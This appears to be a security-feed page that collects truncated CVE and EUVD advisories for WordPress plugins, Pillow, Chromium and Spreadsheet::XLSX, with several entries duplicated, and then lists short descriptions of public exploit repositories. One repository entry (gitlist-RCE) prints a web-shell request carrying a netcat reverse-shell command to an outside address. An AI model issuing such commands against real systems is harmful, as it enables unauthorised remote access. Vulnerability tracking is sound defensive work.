CVE-2026-114443

The Security Plugin, Firewall & Malware Scanner with Auto Removal WordPress plugin before 2.191 does not verify the account password before accepting an authenticator-app two-factor code at login, allowing anyone who holds a user's current authenticator code to log in as that user, including an...

CVE-2026-114422

The Enable Media Replace WordPress plugin before 4.2.3 does not restrict the classes allowed when deserializing stored metadata during its media replace-and-update-links routine, allowing unauthenticated users to inject a PHP object that is instantiated when a user with upload access performs a...

CVE-2026-114422 Enable Media Replace 4.1.4 - 4.2.2 - Unauthenticated PHP Object Injection via Metadata Replacer

The Enable Media Replace WordPress plugin before 4.2.3 does not restrict the classes allowed when deserializing stored metadata during its media replace-and-update-links routine, allowing unauthenticated users to inject a PHP object that is instantiated when a user with upload access performs a...

EUVD-2026-113743

The Enable Media Replace WordPress plugin before 4.2.3 does not restrict the classes allowed when deserializing stored metadata during its media replace-and-update-links routine, allowing unauthenticated users to inject a PHP object that is instantiated when a user with upload access performs a...

CVE-2026-114443

The Security Plugin, Firewall & Malware Scanner with Auto Removal WordPress plugin (versions before 2.191 ) contains an unauthenticated authentication bypass vulnerability. The root cause is that the plugin fails to verify the account password before accepting an authenticator-app two-factor code...

EUVD-2026-113744

The Security Plugin, Firewall & Malware Scanner with Auto Removal WordPress plugin before 2.191 does not verify the account password before accepting an authenticator-app two-factor code at login, allowing anyone who holds a user's current authenticator code to log in as that user, including an...

CVE-2026-114443 Security by CleanTalk < 2.191 - Unauthenticated Authentication Bypass via Authenticator App Code

The Security Plugin, Firewall & Malware Scanner with Auto Removal WordPress plugin before 2.191 does not verify the account password before accepting an authenticator-app two-factor code at login, allowing anyone who holds a user's current authenticator code to log in as that user, including an...

CVE-2026-114443 Security by CleanTalk < 2.191 - Unauthenticated Authentication Bypass via Authenticator App Code

The Security Plugin, Firewall & Malware Scanner with Auto Removal WordPress plugin before 2.191 does not verify the account password before accepting an authenticator-app two-factor code at login, allowing anyone who holds a user's current authenticator code to log in as that user, including an...

CVE-2026-114422

The Enable Media Replace WordPress plugin (versions before 4.2.3 , specifically 4.1.4-4.2.2 ) is vulnerable to unauthenticated PHP Object Injection . The root cause is a failure to restrict allowed classes during the deserialization of stored metadata within the media replace-and-update-links rou...

CVE-2026-114422 Enable Media Replace 4.1.4 - 4.2.2 - Unauthenticated PHP Object Injection via Metadata Replacer

The Enable Media Replace WordPress plugin before 4.2.3 does not restrict the classes allowed when deserializing stored metadata during its media replace-and-update-links routine, allowing unauthenticated users to inject a PHP object that is instantiated when a user with upload access performs a...

CVE-2026-112900

A flaw was found in Pillow. This vulnerability may allow an attacker to achieve arbitrary code execution when processing Encapsulated PostScript EPS images. Because Pillow invokes the external Ghostscript utility without properly sanitizing user-controlled input filenames, names beginning with...

CVE-2026-112403

A flaw was found in Pillow. A remote attacker could exploit this vulnerability to achieve arbitrary code execution or cause a Denial of Service DoS by supplying a specially crafted lossless JPEG image to an application that downscales images or generates thumbnails. This issue occurs because the...

CVE-2026-112398

A flaw was found in Pillow. A remote attacker can achieve arbitrary code execution by supplying a specially crafted FlashPix FPX image file to an application that processes untrusted inputs. Due to improper handling of image tile data during JPEG decoding, the library writes pixel data beyond the...

CVE-2026-119266

An use after free flaw was found in the Quota component of the Chromium browser. Upstream bugs: https://issues.chromium.org/issues/575202553...

CVE-2026-119260

An use after free flaw was found in the Frames component of the Chromium browser. Upstream bugs: https://issues.chromium.org/issues/573264074...

CVE-2026-115943

A flaw was found in Spreadsheet::XLSX. This vulnerability can lead to arbitrary code execution when the library processes a spreadsheet containing crafted number format conditions. The module improperly evaluates workbook-supplied formatting conditions as code during file parsing. An attacker can...

DS-Wireless-Communication-Remote-Code-Execution

DS Wireless Communication Remote Code Execution Injects arbitrary code into a client's game. Prerequisites Python 3.10 pip pydivert Usage pip install -r requirements.txt python dswirelesscommunicationremotecodeexecution.py CVE-ID CVE-2023-45887 License GNU General Public License v2.0...

gitlist-RCE

gitlist-RCE CVE-2014-4511 example: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

raptor

Raptor is a web-based web-serivce + UI github centric source-vulnerability scanner i.e. it scans a repository with just the github repo url. You can setup webhooks to ensure automated scans every-time you commit or merge a pull request. The scan is done asynchonously and the results are available...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool This project is for learning only, if someone's rights have been violated, please contact me to remove the project, and the lastDO NOT USE IT ILLEGALLY If you have any illegal behavior in the process of using this tool, you will bear all the...